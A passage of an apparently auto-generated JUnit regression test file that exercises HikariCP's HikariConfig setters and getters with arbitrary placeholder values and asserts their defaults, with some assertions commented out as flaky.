org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
org.junit.Assert.assertNull(dataSource13);
}
@Test
public void test19223() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19223");
// The following exception was thrown during execution in test generation
try {
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig("HikariPool-17144");
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: Property file HikariPool-17144 was not found.");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
}
@Test
public void test19224() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19224");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
int int12 = hikariConfig1.getAcquireIncrement();
hikariConfig1.minPoolSize = '#';
hikariConfig1.isInitializationFailFast = true;
long long17 = hikariConfig1.getLeakDetectionThreshold();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 0 + "'", int12 == 0);
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
}
@Test
public void test19225() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19225");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
int int11 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.connectionInitSql = "HikariPool-222";
java.lang.String str14 = hikariConfig1.getCatalog();
hikariConfig1.setTransactionIsolation("HikariPool-22");
hikariConfig1.transactionIsolation = ' ';
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertTrue("'" + int11 + "' != '" + 60 + "'", int11 == 60);
org.junit.Assert.assertNull(str14);
}
@Test
public void test19226() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19226");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
boolean boolean7 = hikariConfig1.isRegisterMbeans();
javax.sql.DataSource dataSource8 = null;
hikariConfig1.setDataSource(dataSource8);
javax.sql.DataSource dataSource10 = null;
hikariConfig1.dataSource = dataSource10;
hikariConfig1.maxLifetime = (short) 10;
java.lang.String str14 = hikariConfig1.poolName;
hikariConfig1.isInitializationFailFast = false;
java.lang.String str17 = hikariConfig1.connectionInitSql;
java.lang.String str18 = hikariConfig1.getPoolName();
hikariConfig1.setIdleTimeout((long) 10);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
// flaky: org.junit.Assert.assertEquals("'" + str14 + "' != '" + "HikariPool-50942" + "'", str14, "HikariPool-50942");
org.junit.Assert.assertNull(str17);
// flaky: org.junit.Assert.assertEquals("'" + str18 + "' != '" + "HikariPool-50942" + "'", str18, "HikariPool-50942");
}
@Test
public void test19227() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19227");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setMaximumPoolSize(87);
hikariConfig1.transactionIsolationName = "HikariPool-222";
java.lang.String str11 = hikariConfig1.connectionInitSql;
boolean boolean12 = hikariConfig1.isInitializationFailFast();
hikariConfig1.setCatalog("HikariPool-730");
hikariConfig1.setIdleTimeout((long) 87);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + boolean12 + "' != '" + false + "'", boolean12 == false);
}
@Test
public void test19228() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19228");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
int int18 = hikariConfig1.getTransactionIsolation();
boolean boolean19 = hikariConfig1.isRegisterMbeans();
long long20 = hikariConfig1.connectionTimeout;
boolean boolean21 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setMinimumPoolSize(100);
hikariConfig1.setConnectionTestQuery("HikariPool-851");
hikariConfig1.setTransactionIsolation("HikariPool-852");
java.lang.String str28 = hikariConfig1.getConnectionCustomizerClassName();
java.lang.String str29 = hikariConfig1.getCatalog();
hikariConfig1.isAutoCommit = false;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + boolean19 + "' != '" + false + "'", boolean19 == false);
// flaky: org.junit.Assert.assertTrue("'" + long20 + "' != '" + 10L + "'", long20 == 10L);
org.junit.Assert.assertTrue("'" + boolean21 + "' != '" + false + "'", boolean21 == false);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertNull(str29);
}
@Test
public void test19229() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19229");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.isAutoCommit = true;
java.util.Properties properties10 = hikariConfig1.getDataSourceProperties();
java.util.Properties properties11 = hikariConfig1.dataSourceProperties;
hikariConfig1.transactionIsolation = 3;
int int14 = hikariConfig1.getAcquireRetries();
java.lang.String str15 = hikariConfig1.getConnectionTestQuery();
hikariConfig1.isInitializationFailFast = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties10);
org.junit.Assert.assertNotNull(properties11);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 3 + "'", int14 == 3);
org.junit.Assert.assertNull(str15);
}
@Test
public void test19230() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19230");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
hikariConfig11.transactionIsolation = (byte) 1;
hikariConfig11.dataSourceClassName = "";
boolean boolean23 = hikariConfig11.isJdbc4connectionTest;
hikariConfig11.setJdbc4ConnectionTest(true);
hikariConfig1.addDataSourceProperty("HikariPool-59", (java.lang.Object) hikariConfig11);
hikariConfig11.leakDetectionThreshold = 87L;
boolean boolean29 = hikariConfig11.isInitializationFailFast();
long long30 = hikariConfig11.getAcquireRetryDelay();
hikariConfig11.dataSourceClassName = "HikariPool-584";
long long33 = hikariConfig11.maxLifetime;
java.lang.String str34 = hikariConfig11.getConnectionCustomizerClassName();
int int35 = hikariConfig11.getMinimumPoolSize();
hikariConfig11.setAutoCommit(true);
int int38 = hikariConfig11.acquireRetries;
hikariConfig11.setTransactionIsolation("HikariPool-47341");
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + int16 + "' != '" + 60 + "'", int16 == 60);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertNotNull(properties18);
org.junit.Assert.assertTrue("'" + boolean23 + "' != '" + true + "'", boolean23 == true);
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
org.junit.Assert.assertTrue("'" + long30 + "' != '" + 0L + "'", long30 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long33 + "' != '" + 35L + "'", long33 == 35L);
org.junit.Assert.assertNull(str34);
org.junit.Assert.assertTrue("'" + int35 + "' != '" + 10 + "'", int35 == 10);
org.junit.Assert.assertTrue("'" + int38 + "' != '" + 3 + "'", int38 == 3);
}
@Test
public void test19231() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19231");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
java.lang.String str4 = hikariConfig1.connectionTestQuery;
java.lang.String str5 = hikariConfig1.getDataSourceClassName();
hikariConfig1.setRegisterMbeans(true);
long long8 = hikariConfig1.connectionTimeout;
javax.sql.DataSource dataSource9 = null;
hikariConfig1.setDataSource(dataSource9);
boolean boolean11 = hikariConfig1.isRegisterMbeans();
org.junit.Assert.assertNull(str4);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 10L + "'", long8 == 10L);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + true + "'", boolean11 == true);
}
@Test
public void test19232() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19232");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
int int4 = hikariConfig1.getAcquireRetries();
hikariConfig1.transactionIsolation = (short) 100;
hikariConfig1.setMaximumPoolSize((int) (byte) 100);
hikariConfig1.setDataSourceClassName("HikariPool-385");
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 3 + "'", int4 == 3);
}
@Test
public void test19233() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19233");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
int int17 = hikariConfig12.getMaximumPoolSize();
int int18 = hikariConfig12.transactionIsolation;
java.util.Properties properties19 = hikariConfig12.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties19);
int int21 = hikariConfig1.getTransactionIsolation();
int int22 = hikariConfig1.acquireRetries;
hikariConfig1.setIdleTimeout((long) '4');
long long25 = hikariConfig1.maxLifetime;
hikariConfig1.setCatalog("HikariPool-43");
int int28 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setUseInstrumentation(false);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 3 + "'", int22 == 3);
org.junit.Assert.assertTrue("'" + long25 + "' != '" + (-1L) + "'", long25 == (-1L));
org.junit.Assert.assertTrue("'" + int28 + "' != '" + (-1) + "'", int28 == (-1));
}
@Test
public void test19234() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19234");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
java.lang.String str3 = hikariConfig1.getConnectionTestQuery();
hikariConfig1.setIdleTimeout((long) 87);
long long6 = hikariConfig1.getAcquireRetryDelay();
java.lang.String str7 = hikariConfig1.getCatalog();
long long8 = hikariConfig1.leakDetectionThreshold;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str3);
org.junit.Assert.assertTrue("'" + long6 + "' != '" + 0L + "'", long6 == 0L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long8 + "' != '" + 0L + "'", long8 == 0L);
}
@Test
public void test19235() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19235");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getLeakDetectionThreshold();
long long3 = hikariConfig1.getLeakDetectionThreshold();
int int4 = hikariConfig1.transactionIsolation;
org.junit.Assert.assertTrue("'" + long2 + "' != '" + 0L + "'", long2 == 0L);
org.junit.Assert.assertTrue("'" + long3 + "' != '" + 0L + "'", long3 == 0L);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + (-1) + "'", int4 == (-1));
}
@Test
public void test19236() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19236");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
boolean boolean4 = hikariConfig1.isJdbc4ConnectionTest();
hikariConfig1.setMaximumPoolSize(0);
hikariConfig1.setIdleTimeout(97L);
hikariConfig1.setMaximumPoolSize(10);
hikariConfig1.setConnectionTestQuery("HikariPool-39223");
java.lang.String str13 = hikariConfig1.getConnectionCustomizerClassName();
org.junit.Assert.assertTrue("'" + boolean4 + "' != '" + true + "'", boolean4 == true);
org.junit.Assert.assertNull(str13);
}
@Test
public void test19237() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19237");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
boolean boolean7 = hikariConfig1.isRegisterMbeans();
javax.sql.DataSource dataSource8 = null;
hikariConfig1.setDataSource(dataSource8);
javax.sql.DataSource dataSource10 = null;
hikariConfig1.dataSource = dataSource10;
int int12 = hikariConfig1.getMinimumPoolSize();
boolean boolean13 = hikariConfig1.isInitializationFailFast();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + 10 + "'", int12 == 10);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
}
@Test
public void test19238() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19238");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
int int3 = hikariConfig1.getAcquireIncrement();
hikariConfig1.setMaximumPoolSize((int) (byte) 0);
java.util.Properties properties6 = null;
com.zaxxer.hikari.HikariConfig hikariConfig7 = new com.zaxxer.hikari.HikariConfig(properties6);
int int8 = hikariConfig7.getTransactionIsolation();
hikariConfig7.setRegisterMbeans(false);
java.lang.String str11 = hikariConfig7.transactionIsolationName;
int int12 = hikariConfig7.getTransactionIsolation();
hikariConfig7.isRegisterMbeans = false;
boolean boolean15 = hikariConfig7.isRegisterMbeans();
long long16 = hikariConfig7.connectionTimeout;
hikariConfig7.setJdbc4ConnectionTest(true);
hikariConfig7.connectionInitSql = "HikariPool-28";
java.util.Properties properties21 = hikariConfig7.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties21;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 0 + "'", int3 == 0);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 10L + "'", long16 == 10L);
org.junit.Assert.assertNotNull(properties21);
}
@Test
public void test19239() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19239");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getTransactionIsolation();
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setConnectionCustomizerClassName("");
hikariConfig1.setMaxLifetime((long) 100);
int int13 = hikariConfig1.acquireRetries;
hikariConfig1.isInitializationFailFast = false;
hikariConfig1.isRegisterMbeans = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + 3 + "'", int13 == 3);
}
@Test
public void test19240() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19240");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.setTransactionIsolation("");
boolean boolean9 = hikariConfig1.isRegisterMbeans();
hikariConfig1.setDataSourceClassName("HikariPool-173");
hikariConfig1.setInitializationFailFast(false);
hikariConfig1.leakDetectionThreshold = (short) 1;
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
hikariConfig17.setUseInstrumentation(true);
hikariConfig17.connectionTestQuery = "HikariPool-104";
hikariConfig17.maxPoolSize = (short) 100;
java.lang.String str27 = hikariConfig17.getPoolName();
java.util.Properties properties28 = null;
com.zaxxer.hikari.HikariConfig hikariConfig29 = new com.zaxxer.hikari.HikariConfig(properties28);
int int30 = hikariConfig29.getTransactionIsolation();
hikariConfig29.setRegisterMbeans(false);
java.lang.String str33 = hikariConfig29.transactionIsolationName;
long long34 = hikariConfig29.getIdleTimeout();
java.lang.String str35 = hikariConfig29.getCatalog();
java.util.Properties properties36 = hikariConfig29.getDataSourceProperties();
hikariConfig17.setDataSourceProperties(properties36);
hikariConfig1.dataSourceProperties = properties36;
boolean boolean39 = hikariConfig1.isAutoCommit;
long long40 = hikariConfig1.getLeakDetectionThreshold();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
// flaky: org.junit.Assert.assertEquals("'" + str27 + "' != '" + "HikariPool-50960" + "'", str27, "HikariPool-50960");
org.junit.Assert.assertTrue("'" + int30 + "' != '" + (-1) + "'", int30 == (-1));
org.junit.Assert.assertNull(str33);
// flaky: org.junit.Assert.assertTrue("'" + long34 + "' != '" + 60L + "'", long34 == 60L);
org.junit.Assert.assertNull(str35);
org.junit.Assert.assertNotNull(properties36);
org.junit.Assert.assertTrue("'" + boolean39 + "' != '" + true + "'", boolean39 == true);
org.junit.Assert.assertTrue("'" + long40 + "' != '" + 1L + "'", long40 == 1L);
}
@Test
public void test19241() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19241");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
java.lang.String str9 = hikariConfig1.transactionIsolationName;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer10 = hikariConfig1.connectionCustomizer;
java.lang.String str11 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.poolName = "HikariPool-168";
hikariConfig1.setDataSourceClassName("HikariPool-215");
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
hikariConfig17.isInitializationFailFast = true;
int int23 = hikariConfig17.acquireRetries;
hikariConfig17.setMaxLifetime((long) (-1));
int int26 = hikariConfig17.getTransactionIsolation();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer27 = null;
hikariConfig17.connectionCustomizer = iConnectionCustomizer27;
java.lang.String str29 = hikariConfig17.catalog;
java.util.Properties properties30 = null;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties30);
hikariConfig31.dataSourceClassName = "";
hikariConfig31.connectionTimeout = 10L;
hikariConfig31.connectionTestQuery = "HikariPool-104";
java.util.Properties properties38 = null;
com.zaxxer.hikari.HikariConfig hikariConfig39 = new com.zaxxer.hikari.HikariConfig(properties38);
int int40 = hikariConfig39.getTransactionIsolation();
hikariConfig39.setRegisterMbeans(false);
hikariConfig39.isInitializationFailFast = true;
int int45 = hikariConfig39.acquireRetries;
hikariConfig39.setMaxLifetime((long) (-1));
int int48 = hikariConfig39.getTransactionIsolation();
java.util.Properties properties49 = null;
com.zaxxer.hikari.HikariConfig hikariConfig50 = new com.zaxxer.hikari.HikariConfig(properties49);
int int51 = hikariConfig50.getTransactionIsolation();
hikariConfig50.setRegisterMbeans(false);
java.lang.String str54 = hikariConfig50.transactionIsolationName;
int int55 = hikariConfig50.getMaximumPoolSize();
int int56 = hikariConfig50.transactionIsolation;
java.util.Properties properties57 = hikariConfig50.dataSourceProperties;
hikariConfig39.setDataSourceProperties(properties57);
hikariConfig31.setDataSourceProperties(properties57);
hikariConfig17.setDataSourceProperties(properties57);
java.util.Properties properties61 = null;
com.zaxxer.hikari.HikariConfig hikariConfig62 = new com.zaxxer.hikari.HikariConfig(properties61);
boolean boolean63 = hikariConfig62.isAutoCommit;
hikariConfig62.poolName = "hi!";
java.lang.String str66 = hikariConfig62.dataSourceClassName;
java.lang.String str67 = hikariConfig62.dataSourceClassName;
hikariConfig62.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer70 = hikariConfig62.connectionCustomizer;
hikariConfig62.setInitializationFailFast(true);
int int73 = hikariConfig62.transactionIsolation;
java.util.Properties properties74 = null;
com.zaxxer.hikari.HikariConfig hikariConfig75 = new com.zaxxer.hikari.HikariConfig(properties74);
hikariConfig75.dataSourceClassName = "";
java.util.Properties properties78 = hikariConfig75.dataSourceProperties;
hikariConfig62.setDataSourceProperties(properties78);
hikariConfig17.setDataSourceProperties(properties78);
hikariConfig1.dataSourceProperties = properties78;
hikariConfig1.connectionInitSql = "HikariPool-495";
hikariConfig1.setIdleTimeout((long) (byte) 10);
java.util.Properties properties86 = hikariConfig1.dataSourceProperties;
hikariConfig1.connectionTestQuery = "HikariPool-6911";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(iConnectionCustomizer10);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 3 + "'", int23 == 3);
org.junit.Assert.assertTrue("'" + int26 + "' != '" + (-1) + "'", int26 == (-1));
org.junit.Assert.assertNull(str29);
org.junit.Assert.assertTrue("'" + int40 + "' != '" + (-1) + "'", int40 == (-1));
org.junit.Assert.assertTrue("'" + int45 + "' != '" + 3 + "'", int45 == 3);
org.junit.Assert.assertTrue("'" + int48 + "' != '" + (-1) + "'", int48 == (-1));
org.junit.Assert.assertTrue("'" + int51 + "' != '" + (-1) + "'", int51 == (-1));
org.junit.Assert.assertNull(str54);
org.junit.Assert.assertTrue("'" + int55 + "' != '" + 60 + "'", int55 == 60);
org.junit.Assert.assertTrue("'" + int56 + "' != '" + (-1) + "'", int56 == (-1));
org.junit.Assert.assertNotNull(properties57);
org.junit.Assert.assertTrue("'" + boolean63 + "' != '" + true + "'", boolean63 == true);
org.junit.Assert.assertNull(str66);
org.junit.Assert.assertNull(str67);
org.junit.Assert.assertNull(iConnectionCustomizer70);
org.junit.Assert.assertTrue("'" + int73 + "' != '" + (-1) + "'", int73 == (-1));
org.junit.Assert.assertNotNull(properties78);
org.junit.Assert.assertNotNull(properties86);
}
@Test
public void test19242() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19242");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
int int4 = hikariConfig1.getAcquireRetries();
java.lang.String str5 = hikariConfig1.getPoolName();
hikariConfig1.maxPoolSize = 32;
java.lang.String str8 = hikariConfig1.catalog;
hikariConfig1.setLeakDetectionThreshold((long) 60);
java.lang.String str11 = hikariConfig1.connectionTestQuery;
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 3 + "'", int4 == 3);
